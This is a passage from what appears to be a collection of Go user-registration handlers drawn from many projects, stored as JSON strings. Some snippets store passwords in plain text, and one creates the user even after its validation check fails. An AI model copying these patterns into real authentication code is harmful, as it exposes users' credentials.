\"application/json\")\n\tjson.NewEncoder(w).Encode(response)\n\treturn\n}", "func DoSignup(w http.ResponseWriter, r *http.Request) {\n\tr.ParseForm()\n\tvKey := make([]byte, 32)\n\tn, err := rand.Read(vKey)\n\tif n != len(vKey) || err != nil {\n\t\tlog.Println(\"Could not successfully read from the system CSPRNG.\")\n\t}\n\tvalidationKey := hex.EncodeToString(vKey)\n\tlog.Println(len(validationKey))\n\tstmt, _ := db.Prepare(\"insert into signup(username, email, password, validationKey) values(?,?,?,?)\")\n\t_, err = stmt.Exec(r.FormValue(\"username\"), r.FormValue(\"email\"), r.FormValue(\"password\"), validationKey)\n\tif err != nil {\n\t\t// if a validation requests already exists resend email\n\t\tif strings.Contains(err.Error(), \"1062\") {\n\t\t\tlog.Println(\"1062 error\")\n\t\t\tstmt, _ := db.Prepare(\"select validationKey from signup where username=?\")\n\t\t\tres := stmt.QueryRow(r.FormValue(\"username\"))\n\t\t\tres.Scan(&validationKey)\n\t\t\tsendVerification(r.FormValue(\"email\"), validationKey)\n\t\t\thttp.Redirect(w, r, r.URL.Host+\"/resendValidation\", 302)\n\t\t} else {\n\t\t\tlog.Print(\"Error creating signup record\")\n\t\t\tlog.Println(err)\n\t\t}\n\t} else {\n\t\tsendVerification(r.FormValue(\"email\"), validationKey)\n\t\thttp.Redirect(w, r, r.URL.Host+\"/validationSent\", 302)\n\t}\n}", "func UserRegisterPost(w http.ResponseWriter, r *http.Request) {\n\t// Get session\n\tsess := session.Instance(r)\n\n\t// Prevent brute force login attempts by not hitting MySQL and pretending like it was invalid :-)\n\tif sess.Values[\"register_attempt\"] != nil && sess.Values[\"register_attempt\"].(int) >= 5 {\n\t\tlog.Println(\"Brute force register prevented\")\n\t\thttp.Redirect(w, r, \"/not_found\", http.StatusFound)\n\t\treturn\n\t}\n\n\tbody, readErr := ioutil.ReadAll(r.Body)\n\tif readErr != nil {\n\t\tlog.Println(readErr)\n\t\tReturnError(w, readErr)\n\t\treturn\n\t}\n\n\tvar regResp webpojo.UserCreateResp\n\tif len(body) == 0 {\n\t\tlog.Println(\"Empty json payload\")\n\t\tRecordRegisterAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_400, constants.Msg_400}\n\t\tbs, err := json.Marshal(regResp)\n\t\tif err != nil {\n\t\t\tReturnError(w, err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprint(w, string(bs))\n\t\treturn\n\t}\n\n\t//log.Println(\"r.Body\", string(body))\n\tregReq := webpojo.UserCreateReq{}\n\tjsonErr := json.Unmarshal(body, &regReq)\n\tif jsonErr != nil {\n\t\tlog.Println(jsonErr)\n\t\tReturnError(w, jsonErr)\n\t\treturn\n\t}\n\tlog.Println(regReq.Email)\n\n\t// Validate with required fields\n\tif validate, _ := validateRegisterInfo(r, &regReq, constants.DefaultRole); !validate {\n\t\tlog.Println(\"Invalid reg request! Missing field\")\n\t\tRecordRegisterAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_400, constants.Msg_400}\n\t\tbs, err := json.Marshal(regResp)\n\t\tif err != nil {\n\t\t\tReturnError(w, err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprint(w, string(bs))\n\t\treturn\n\t}\n\n\tpassword, errp := passhash.HashString(regReq.Password)\n\n\t// If password hashing failed\n\tif errp != nil {\n\t\tlog.Println(errp)\n\t\tRecordRegisterAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_500, constants.Msg_500}\n\t\tbs, err := json.Marshal(regResp)\n\t\tif err != nil {\n\t\t\tReturnError(w, err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprint(w, string(bs))\n\t\treturn\n\t}\n\n\t// Get database result\n\t_, err := model.UserByEmail(regReq.Email)\n\n\tif err == model.ErrNoResult { // If success (no user exists with that email)\n\t\tex := model.UserCreate(regReq.FirstName, regReq.LastName, regReq.Email, password)\n\t\t// Will only error if there is a problem with the query\n\t\tif ex != nil {\n\t\t\tlog.Println(ex)\n\t\t\tRecordRegisterAttempt(sess)\n\t\t\tsess.Save(r, w)\n\t\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_500, constants.Msg_500}\n\t\t\tbs, err := json.Marshal(regResp)\n\t\t\tif err != nil {\n\t\t\t\tReturnError(w, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfmt.Fprint(w, string(bs))\n\t\t} else {\n\t\t\tlog.Println(\"Account created successfully for: \" + regReq.Email)\n\t\t\tRecordRegisterAttempt(sess)\n\t\t\tsess.Save(r, w)\n\t\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_200, constants.Msg_200}\n\t\t\tbs, err := json.Marshal(regResp)\n\t\t\tif err != nil {\n\t\t\t\tReturnError(w, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfmt.Fprint(w, string(bs))\n\t\t}\n\t} else if err != nil { // Catch all other errors\n\t\tlog.Println(err)\n\t\tRecordRegisterAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_500, constants.Msg_500}\n\t\tbs, err := json.Marshal(regResp)\n\t\tif err != nil {\n\t\t\tReturnError(w, err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprint(w, string(bs))\n\t} else { // Else the user already exists\n\t\tlog.Println(\"User already existed!!!\")\n\t\tRecordRegisterAttempt(sess)\n\t\tsess.Save(r, w)\n\t\tregResp = webpojo.UserCreateResp{constants.StatusCode_400, constants.Msg_400}\n\t\tbs, err := json.Marshal(regResp)\n\t\tif err != nil {\n\t\t\tReturnError(w, err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprint(w, string(bs))\n\t}\n}", "func (u *UserService) Register(ctx context.Context, in *userpbgw.RegisterRequest) (*userpbgw.Response, error) {\n\tisExisted, err := user.CheckExistingEmail(in.Email)\n\tif err != nil {\n\t\treturn &userpbgw.Response{\n\t\t\tError: 2222,\n\t\t\tMessage: fmt.Sprintf(\"Error: %s\", err),\n\t\t}, nil\n\t}\n\tif isExisted {\n\t\treturn &userpbgw.Response{\n\t\t\tError: 2222,\n\t\t\tMessage: \"Given email is existing\",\n\t\t}, nil\n\t}\n\tnewuser := user.User{\n\t\tFullname: in.Fullname,\n\t\tEmail: in.Email,\n\t\tPassword: in.Password,\n\t}\n\terr = user.Insert(&newuser)\n\tif err != nil {\n\t\treturn &userpbgw.Response{\n\t\t\tError: 2222,\n\t\t\tMessage: \"Register Error\",\n\t\t}, nil\n\t}\n\treturn &userpbgw.Response{\n\t\tError: 0,\n\t\tMessage: \"Register Sucessfull\",\n\t}, nil\n}", "func (h *Handler) Register(w http.ResponseWriter, r *http.Request) {\n\n\tvar d UserCreateRequest\n\tif err := json.NewDecoder(r.Body).Decode(&d); err != nil {\n\t\trender.BadRequest(w, r, \"invalid json string\")\n\t\treturn\n\t}\n\tuser, err := h.Client.User.Create().\n\t\tSetEmail(d.Email).\n\t\tSetName(d.Name).\n\t\tSetPassword(d.Password).\n\t\tSave(r.Context())\n\tif err != nil {\n\t\tfmt.Printf(\"%v\", err.Error())\n\t\trender.InternalServerError(w, r, \"Failed to register the user\")\n\t\treturn\n\t}\n\tfmt.Println(\"User registered successfully\")\n\trender.OK(w, r, user)\n}", "func (model *registerRequest) validateRegisterRequest(w http.ResponseWriter, r *http.Request, ctx context.Context) error {\n\t// TODO: Fix this so that it does a case insensitive search\n\texistingUser, err := db.GetUserByUsername(ctx, model.Username)\n\tif err == nil || existingUser != nil {\n\t\tapi.DefaultError(w, r, http.StatusUnauthorized, \"The username is already in use. Please try again.\")\n\t\treturn fmt.Errorf(\"username was already in use\")\n\t}\n\n\t// TODO: Fix this so that it does a case insensitive search\n\texistingUser, err = db.GetUserByEmail(ctx, model.Email)\n\tif err == nil || existingUser != nil {\n\t\tapi.DefaultError(w, r, http.StatusUnauthorized, \"The email is already in use. Please try again.\")\n\t\treturn fmt.Errorf(\"email was already in use\")\n\t}\n\n\terr = validateUsername(w, r, model.Username)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = validatePassword(w, r, model.Password)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = validateNickname(w, r, model.Nickname)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Println(existingUser)\n\treturn nil\n}", "func (h *auth) Register(c echo.Context) error {\n\t// Filter params\n\tvar params service.RegisterParams\n\tif err := c.Bind(&params); err != nil {\n\t\treturn c.JSON(http.StatusUnauthorized, sferror.New(\"Could not get user's params.\"))\n\t}\n\tparams.UserAgent = c.Request().UserAgent()\n\tparams.Session = currentSession(c)\n\n\tif params.Email == \"\" {\n\t\treturn c.JSON(http.StatusUnauthorized, sferror.New(\"No email provided.\"))\n\t}\n\tif params.RegistrationPassword == \"\" {\n\t\treturn c.JSON(http.StatusUnauthorized, sferror.New(\"No password provided.\"))\n\t}\n\tif params.PasswordNonce == \"\" {\n\t\treturn c.JSON(http.StatusUnauthorized, sferror.New(\"No nonce provided.\"))\n\t}\n\tif libsf.VersionLesser(libsf.APIVersion20200115, params.APIVersion) && params.PasswordCost <= 0 {\n\t\treturn c.JSON(http.StatusUnauthorized, sferror.New(\"No password cost provided.\"))\n\t}\n\n\tservice := service.NewUser(h.db, h.sessions, params.APIVersion)\n\tregister, err := service.Register(params)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn c.JSON(http.StatusOK, register)\n}", "func doRegisterUser (w http.ResponseWriter, r *http.Request ) {\n\tusername := r.FormValue(\"username\")\n\temail := r.FormValue(\"email\")\n\tpassword := r.FormValue(\"password\")\n\tconfirm := r.FormValue(\"confirm\")\n\n\t// validate everything\n\tif len(username) < 6 {\n\t\thttp.Error(w, \"username too short\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif len(password) < 6 {\n\t\thttp.Error(w, \"password too short\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tif password != confirm {\n\t\thttp.Error(w, \"password doesn't match\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\t// go ahead and create the user\n\tpwBytes, bErr := bcrypt.GenerateFromPassword([]byte(password), 14)\n\tif bErr != nil {\n\t\thttp.Error(w, bErr.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\tpwHash := string(pwBytes)\n\t// registering a free account\n\tu, cErr := CreateNewUser(r, username, pwHash, email, 0, \"free\")\n\tif cErr != nil {\n\t\tif (cErr.Code == ERR_ACCOUNT_ALREADY_EXISTS) {\n\t\t\tlogger.StdLogger.LOG(logger.INFO, webber.GetCorrelationId(r), fmt.Sprintf(\"Attempt to create existing username: %s\", username), nil)\n\t\t\thttp.Error(w, cErr.Code, http.StatusBadRequest)\n\t\t} else {\n\t\t\tlogger.StdLogger.LOG(logger.ERROR, webber.GetCorrelationId(r), fmt.Sprintf(\"Error creating user: %s : %s\", username, cErr.Error()), nil)\n\t\t\thttp.Error(w, cErr.Code, http.StatusInternalServerError)\n\t\t}\n\t\treturn\n\t}\n\n\t// okay, everything worked, create a session\n\tsessionData := UserSessionData{Username:u.Username}\n\t_, err := webber.MakeSession(w, sessionData);\n\tif err != nil {\n\t\tlogger.StdLogger.LOG(logger.ERROR, \"\", fmt.Sprintf(\"unable to create session: %s\", err.Error()), nil)\n\t\thttp.Error(w, \"Please Log in\", http.StatusUnauthorized)\n\t}\n\twebber.ReturnJson(w,u)\n\treturn\t\t\n\n}", "func HandleUserRegister(context *gin.Context) {\n\n\tuserAcc := context.PostForm(\"user_acc\")\n\tuserAvatar := context.PostForm(\"user_avatar\")\n\tuserNickName := context.PostForm(\"user_nick_name\")\n\tuserPassword := context.PostForm(\"user_password\")\n\tuserPhone := context.PostForm(\"user_phone\")\n\tuserEmail := context.PostForm(\"user_email\")\n\tuserGender := context.PostForm(\"user_gender\")\n\tuserSign := context.PostForm(\"user_sign\")\n\n\tuserType := context.PostForm(\"user_type\")\n\tuserTypeInt, _ := strconv.Atoi(userType)\n\n\tif userAcc == \"\" || userNickName == \"\" || userPassword == \"\"{\n\t\tcontext.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\"status\": \"invalid\",\n\t\t\t\"code\": http.StatusBadRequest,\n\t\t\t\"msg\": \"user_acc, user_nick_name, user_password must not be none\",\n\t\t\t\"data\": \"\",\n\t\t})\n\t}\n\tuser := models.User{\n\t\tUserAcc:userAcc,\n\t\tUserAvatar:userAvatar,\n\t\tUserNickName:userNickName,\n\t\tUserPassword:userPassword,\n\t\tUserPhone:userPhone,\n\t\tUserEmail:userEmail,\n\t\tUserGender:userGender,\n\t\tUserSign:userSign,\n\t\tUserType:models.UserType(userTypeInt),\n\t}\n\tuserTry := models.User{}\n\tif db.DB.Where(\"user_acc=?\", userAcc).First(&userTry).RecordNotFound(){\n\t\t// user not found, create it\n\t\tdb.DB.Create(&user)\n\t\tuAddr := utils.GenAddr(user.ID)\n\t\tuser.UserAddr = \"usr\" + uAddr\n\n\t\tlog.Infof(\"FUCK GenAddr: %s gened: %s\", user.UserAddr, uAddr)\n\t\tdb.DB.Save(&user)\n\n\t\t// should return a token to user, as well as login\n\t\tclaims := make(map[string]interface{})\n\t\tclaims[\"id\"] = user.ID\n\t\tclaims[\"msg\"] = \"hiding egg\"\n\t\tclaims[\"user_addr\"] = user.UserAddr\n\t\ttoken, _ := utils.Encrypt(claims)\n\t\tlog.Infof(\"Request new user: %s, it is new.\", user)\n\t\tdata := map[string]interface{}{\"token\": token, \"id\": user.ID, \"user_addr\": user.UserAddr}\n\t\tcontext.JSON(200, gin.H{\n\t\t\t\"status\": \"success\",\n\t\t\t\"code\": http.StatusOK,\n\t\t\t\"msg\": \"user register succeed.\",\n\t\t\t\"data\": data,\n\t\t})\n\t}else{\n\t\tlog.Info(\"user exist.\")\n\t\tcontext.JSON(200, gin.H{\n\t\t\t\"status\": \"conflict\",\n\t\t\t\"code\": http.StatusConflict,\n\t\t\t\"msg\": \"user already exist.\",\n\t\t\t\"data\": nil,\n\t\t})\n\t}\n}", "func (env *Env) RegisterUser(c *gin.Context) {\n\n\ttype registerRequest struct {\n\t\tUsername string `json:\"username\"`\n\t\tPassword string `json:\"password\"`\n\t\tDeviceID string `json:\"device_id\"`\n\t}\n\n\ttype registerResponse struct {\n\t\tAccessToken string `json:\"access_token\"`\n\t\tRefreshToken string `json:\"refresh_token\"`\n\t\tUser mysql.User `json:\"user\"`\n\t\tResetCode string `json:\"reset_code\"`\n\t}\n\n\t//decode request body\n\tjsonData, err := ioutil.ReadAll(c.Request.Body)\n\tif err != nil {\n\t\tLog.WithField(\"module\", \"handler\").WithError(err)\n\t\tc.AbortWithStatusJSON(http.StatusBadRequest, errs.RQST001)\n\t\treturn\n\t}\n\n\tvar request registerRequest\n\terr = json.Unmarshal(jsonData, &request)\n\tif err != nil {\n\t\tLog.WithField(\"module\", \"handler\").WithError(err)\n\t\tc.AbortWithStatusJSON(http.StatusBadRequest, errs.RQST001)\n\t\treturn\n\t}\n\n\tif request.Username == \"\" || request.Password == \"\" || request.DeviceID == \"\" {\n\t\tLog.WithField(\"module\", \"handler\").Error(\"Empty Fields in Request Body\")\n\t\tc.AbortWithStatusJSON(http.StatusBadRequest, errs.RQST002)\n\t\treturn\n\t}\n\n\tvar empty int64\n\tresult := env.db.Model(&mysql.User{}).Count(&empty)\n\tif result.Error != nil {\n\t\tLog.WithField(\"module\", \"handler\").WithError(result.Error)\n\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\treturn\n\t}\n\n\tuser := mysql.User{}\n\tperms := mysql.Permissions{}\n\tdefaultGroup := mysql.UserGroup{}\n\n\tif empty == 0 {\n\n\t\tperms.Admin = true\n\t\tperms.CanEdit = true\n\n\t\tdefaultGroupPerms := mysql.Permissions{CanEdit: false, Admin: false}\n\n\t\tdefaultGroup.Name = \"default\"\n\n\t\tresult = env.db.Save(&defaultGroupPerms)\n\t\tif result.Error != nil {\n\t\t\tLog.WithField(\"module\", \"handler\").WithError(result.Error)\n\t\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\t\treturn\n\t\t}\n\n\t\tdefaultGroup.Permissions = defaultGroupPerms\n\n\t\tresult = env.db.Save(&defaultGroup)\n\t\tif result.Error != nil {\n\t\t\tLog.WithField(\"module\", \"handler\").WithError(result.Error)\n\t\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\t\treturn\n\t\t}\n\n\t} else {\n\t\tvar exists int64\n\t\t//Check if Username already exists in Database\n\t\tresult = env.db.Model(&user).Where(\"upper(username) = upper(?)\", user.Username).Count(&exists)\n\t\tif result.Error != nil {\n\t\t\tLog.WithField(\"module\", \"handler\").WithError(result.Error)\n\t\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\t\treturn\n\t\t}\n\t\tLog.WithField(\"module\", \"handler\").Debug(\"Users found: \", exists)\n\n\t\tif exists != 0 {\n\t\t\tLog.WithField(\"module\", \"handler\").Error(\"Username already exists in Database\")\n\t\t\tc.AbortWithStatusJSON(http.StatusForbidden, errs.AUTH004)\n\t\t\treturn\n\t\t}\n\n\t\tperms.Admin = false\n\t\tperms.CanEdit = false\n\n\t\tdefaultGroup.Name = \"default\"\n\t\tresult = env.db.Model(&defaultGroup).Find(&defaultGroup)\n\t\tif result.Error != nil {\n\t\t\tLog.WithField(\"module\", \"handler\").WithError(result.Error)\n\t\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\t\treturn\n\t\t}\n\n\t}\n\n\t//Create permission entry for new user in permissions table\n\tresult = env.db.Save(&perms)\n\tif result.Error != nil {\n\t\tLog.WithField(\"module\", \"sql\").WithError(result.Error)\n\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\treturn\n\t}\n\n\tuser.Username = request.Username\n\tuser.Password = request.Password\n\tuser.AvatarID = \"default\"\n\tuser.PermID = perms.ID\n\tuser.UserGroups = append(user.UserGroups, &defaultGroup)\n\tuser.ResetCode = utils.GenerateCode()\n\n\t//Save new user to users database\n\tresult = env.db.Save(&user)\n\tif result.Error != nil {\n\t\tLog.WithField(\"module\", \"sql\").WithError(result.Error)\n\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\treturn\n\t}\n\n\t//Generate JWT AccessToken\n\taccessToken, err := utils.JWTAuthService(config.JWTAccessSecret).GenerateToken(user.ID, request.DeviceID, time.Hour*24)\n\tif err != nil {\n\t\tLog.WithField(\"module\", \"jwt\").WithError(err)\n\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.AUTH002)\n\t\treturn\n\t}\n\n\t//Add AccessToken to Redis\n\terr = env.rdis.AddPair(fmt.Sprint(user.ID), accessToken, time.Hour*24)\n\tif err != nil {\n\t\tLog.WithField(\"module\", \"redis\").WithError(err).Error(\"Error adding AccessToken to Redis.\")\n\t\terr = nil\n\t}\n\n\t//Generate RefreshToken\n\trefreshToken, err := utils.JWTAuthService(config.JWTRefreshSecret).GenerateToken(user.ID, request.DeviceID, time.Hour*24)\n\tif err != nil {\n\t\tLog.WithField(\"module\", \"jwt\").WithError(err)\n\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.AUTH002)\n\t\treturn\n\t}\n\n\tuser.RefreshToken = refreshToken\n\n\t//Save RefreshToken to Database\n\tresult = env.db.Save(&user)\n\tif result.Error != nil {\n\t\tLog.WithField(\"module\", \"sql\").WithError(result.Error)\n\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ002)\n\t\treturn\n\t}\n\n\tc.JSON(200, registerResponse{AccessToken: accessToken, RefreshToken: refreshToken, User: user, ResetCode: user.ResetCode})\n}", "func (AuthenticationController) Register(c *gin.Context) {\n\tvar registrationPayload forms.RegistrationForm\n\tif validationErr := c.BindJSON(&registrationPayload); validationErr != nil {\n\t\tutils.CreateError(c, http.StatusBadRequest, validationErr.Error())\n\t\treturn\n\t}\n\tif hashedPass, hashErr := utils.EncryptPassword(registrationPayload.Password); hashErr != nil {\n\t\tutils.CreateError(c, http.StatusInternalServerError, \"Failed to hash password.\")\n\t} else {\n\t\tregistrationPayload.Password = hashedPass\n\t\tuser, prismaErr := client.CreateUser(prisma.UserCreateInput{\n\t\t\tEmail: registrationPayload.Email,\n\t\t\tName: registrationPayload.Name,\n\t\t\tUsername: registrationPayload.Username,\n\t\t\tPassword: registrationPayload.Password,\n\t\t\tRole: prisma.RoleDefault,\n\t\t}).Exec(contextB)\n\n\t\tif prismaErr != nil {\n\t\t\tlog.Print(prismaErr)\n\t\t\tutils.CreateError(c, http.StatusNotAcceptable, \"Failed to save profile.\")\n\t\t\treturn\n\t\t}\n\t\t// setting session keys\n\t\tsession := sessions.Default(c)\n\t\tsession.Set(\"uuid\", user.ID)\n\t\tsession.Set(\"email\", user.Email)\n\t\tsession.Set(\"username\", user.Username)\n\t\tsession.Set(\"role\", string(user.Role))\n\n\t\tif sessionErr := session.Save(); sessionErr != nil {\n\t\t\tutils.CreateError(c, http.StatusInternalServerError, sessionErr.Error())\n\t\t\tc.Abort()\n\t\t\treturn\n\t\t}\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"name\": user.Name,\n\t\t\t\"username\": user.Username,\n\t\t\t\"role\": user.Role,\n\t\t})\n\t}\n}", "func Registration(w http.ResponseWriter, r *http.Request) {\n\n\tbody, _ := ioutil.ReadAll(r.Body)\n\n\tuser := models.User{}\n\terr := json.Unmarshal(body, &user)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tuser.Prepare()\n\terr = user.Validate(\"login\")\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\ttoken, err := auth.SignUp(user.Email, user.Password)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tresponses.JSON(w, http.StatusOK, token)\n}", "func Register(g *gin.Context) {\n\t// init visitor User struct to validate request\n\tuser := new(models.User)\n\t/**\n\t* get request and parse it to validation\n\t* if there any error will return with message\n\t */\n\terr := validations.RegisterValidate(g, user)\n\t/***\n\t* return response if there an error if true you\n\t* this mean you have errors so we will return and bind data\n\t */\n\tif helpers.ReturnNotValidRequest(err, g) {\n\t\treturn\n\t}\n\t/**\n\t* check if this email exists database\n\t* if this email found will return\n\t */\n\tconfig.Db.Find(&user, \"email = ? \", user.Email)\n\tif user.ID != 0 {\n\t\thelpers.ReturnResponseWithMessageAndStatus(g, 400, \"this email is exist!\", false)\n\t\treturn\n\t}\n\t//set type 2\n\tuser.Type = 2\n\tuser.Password, _ = helpers.HashPassword(user.Password)\n\t// create new user based on register struct\n\tconfig.Db.Create(&user)\n\t// now user is login we can return his info\n\thelpers.OkResponse(g, \"Thank you for register in our system you can login now!\", user)\n}", "func SignUp(db *gorm.DB, _ *redis.Client, _ http.ResponseWriter, r *http.Request, s *status.Status) (int, error) {\n\ts.Message = status.SignupFailure\n\tcredStatus := status.CredentialStatus{}\n\tcreds, isValidCred := verifyCredentials(r)\n\thashedPass, hashErr := Hash(creds.Password)\n\tif !(isValidCred == nil && hashErr == nil) {\n\t\tcredStatus.Username = status.UsernameAlphaNum\n\t\tcredStatus.Email = status.ValidEmail\n\t\tcredStatus.Password = status.PasswordRequired\n\t\ts.Data = credStatus\n\t\treturn http.StatusUnprocessableEntity, nil\n\t}\n\tcreds.Password = hashedPass\n\tuser := model.NewUser()\n\tunameAvailable := !SingleRecordExists(db, model.UserTable, model.UsernameColumn, creds.Username, user)\n\temailAvailable := !SingleRecordExists(db, model.UserTable, model.EmailColumn, creds.Email, user)\n\tif unameAvailable && emailAvailable {\n\t\terr := createUser(db, creds, user)\n\t\tif err != nil {\n\t\t\treturn http.StatusInternalServerError, fmt.Errorf(http.StatusText(http.StatusInternalServerError))\n\t\t}\n\t\ts.Code = status.SuccessCode\n\t\ts.Message = status.SignupSuccess\n\t\treturn http.StatusCreated, nil\n\t}\n\tif !unameAvailable {\n\t\tcredStatus.Username = status.UsernameExists\n\t}\n\tif !emailAvailable {\n\t\tcredStatus.Email = status.EmailExists\n\t}\n\ts.Data = credStatus\n\treturn http.StatusConflict, nil\n}", "func (m Users) Register(user User) error {\n\tif !isValidPass(user.Password) {\n\t\treturn ErrInvalidPass\n\t}\n\tif !validEmail.MatchString(user.Email) {\n\t\treturn ErrInvalidEmail\n\t}\n\thash, err := hashPassword(user.Password)\n\tif err != nil {\n\t\treturn err\n\t}\n\tsqlStatement := `INSERT INTO users (email, password) VALUES($1, $2) RETURNING id, created_at;`\n\t_, err = m.DB.Exec(sqlStatement, user.Email, hash)\n\tif err, ok := err.(*pq.Error); ok {\n\t\tif err.Code == \"23505\" {\n\t\t\treturn ErrUserAlreadyExist\n\t\t}\n\t}\n\n\treturn err\n}", "func (ctrl *UserController) Register(c *gin.Context) {\n\t// Validate the form\n\tvar form auth.RegisterForm\n\tif errs := shouldBindJSON(c, &form); errs != nil {\n\t\tc.AbortWithStatusJSON(http.StatusNotAcceptable, *errs)\n\t\treturn\n\t}\n\n\t// Check if the email is taken.\n\tif ctrl.Repository.EmailTaken(form.Email) {\n\t\tc.AbortWithStatusJSON(http.StatusNotAcceptable, utils.Err(\"A user with this email already exists\"))\n\t\treturn\n\t}\n\n\t// Create the user.\n\tuser, err := ctrl.Repository.RegisterUser(form)\n\tif err != nil {\n\t\tc.JSON(http.StatusInternalServerError, utils.Err(\"Failed to register user\"))\n\t\treturn\n\t}\n\n\tgenerateTokens(c, user.ID, user.TokenVersion, user)\n}", "func (auth *Authstore) Save(p Principal) error {\n\n\tif err:= p.validate(); err != nil {\n\t\treturn err\n\t}\n\n\tif user, ok := p.(User); ok {\n\t\t//fail if user email already registered \n\t\tif user.Email() != \"\" {\n\t\t\tuserByEmailInfo := auth.GetUserByEmail(user.Email())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif (userByEmailInfo.Name() != user.Name()) {\n\t\t\t\t\t//raise error \n\t\t\t\treturn errors.New(\"User email already registered\")\n\t\t\t}\n\t\t}\n\t}\n\n\terr = auth.bucket.Insert (\"principals\", &p)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\n\t//base.LogTo(\"Auth\", \"Saved %s: %s\", p._id, data)\n\treturn nil \n\n}", "func (u User) Store(r *http.Request, db *sql.DB) (Credentials, error) {\n\t// create new credentials\n\tcreds := Credentials{\n\t\tcrypt.RandomString(credentialLen),\n\t\tcrypt.RandomString(credentialKeyLen),\n\t}\n\n\tvar DBUser User\n\t_ = DBUser.GetWithUUID(r, db, u.UUID) // doesn't matter if error just means there is no previous user with UUID\n\tif len(DBUser.UUID) > 0 {\n\t\tif len(DBUser.Credentials.Key) == 0 && len(DBUser.Credentials.Value) > 0 {\n\t\t\tLog(r, log.InfoLevel, fmt.Sprintf(\"Credential reset for: %s\", crypt.Hash(u.UUID)))\n\n\t\t\t// language=PostgreSQL\n\t\t\tquery := \"UPDATE users SET credential_key = $1 WHERE UUID = $2\"\n\t\t\t_, err := db.Exec(query, crypt.PassHash(creds.Key), crypt.Hash(u.UUID))\n\t\t\tif err != nil {\n\t\t\t\tLog(r, log.ErrorLevel, err.Error())\n\t\t\t\treturn Credentials{}, err\n\t\t\t}\n\t\t\tcreds.Value = \"\"\n\t\t\treturn creds, nil\n\t\t} else if len(DBUser.Credentials.Key) == 0 && len(DBUser.Credentials.Value) == 0 {\n\t\t\tLog(r, log.InfoLevel, fmt.Sprintf(\"Account reset for: %s\", crypt.Hash(u.UUID)))\n\n\t\t\t// language=PostgreSQL\n\t\t\tquery := \"UPDATE users SET credential_key = $1, credentials = $2 WHERE UUID = $3\"\n\t\t\t_, err := db.Exec(query, crypt.PassHash(creds.Key), crypt.Hash(creds.Value), crypt.Hash(u.UUID))\n\t\t\tif err != nil {\n\t\t\t\tLog(r, log.ErrorLevel, err.Error())\n\t\t\t\treturn Credentials{}, err\n\t\t\t}\n\t\t\treturn creds, nil\n\t\t}\n\t}\n\n\tisNewUser := true\n\tif len(DBUser.Credentials.Value) > 0 {\n\t\t// UUID already exists\n\t\tif len(u.Credentials.Key) > 0 && IsValidCredentials(u.Credentials.Value) {\n\t\t\t// If client passes current details they are asking for new Credentials.\n\t\t\t// Verify the Credentials passed are valid\n\t\t\tif u.Verify(r, db) {\n\t\t\t\tisNewUser = false\n\t\t\t} else {\n\t\t\t\tLog(r, log.WarnLevel, fmt.Sprintf(\"Client passed credentials that were invalid: %s\", crypt.Hash(u.Credentials.Value)))\n\t\t\t\treturn Credentials{}, errors.New(\"Unable to create new credentials.\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// update users Credentials\n\tquery := \"\"\n\tif isNewUser {\n\t\t// create new user\n\t\t// language=PostgreSQL\n\t\tquery = \"INSERT INTO users (credentials, credential_key, firebase_token, UUID) VALUES ($1, $2, $3, $4)\"\n\t} else {\n\t\t// update user\n\t\t// language=PostgreSQL\n\t\tquery = \"UPDATE users SET credentials = $1, credential_key = $2, firebase_token = $3 WHERE UUID = $4\"\n\t}\n\n\t_, err := tdb.Exec(r, db, query, crypt.Hash(creds.Value), crypt.PassHash(creds.Key), u.FirebaseToken, crypt.Hash(u.UUID))\n\tif err != nil {\n\t\treturn Credentials{}, err\n\t}\n\treturn creds, nil\n}", "func (r *apiV1Router) Register(ctx *gin.Context) {\n\tname := ctx.PostForm(\"name\")\n\temail := ctx.PostForm(\"email\")\n\tpassword := ctx.PostForm(\"password\")\n\n\tif len(name) == 0 || len(email) == 0 || len(password) == 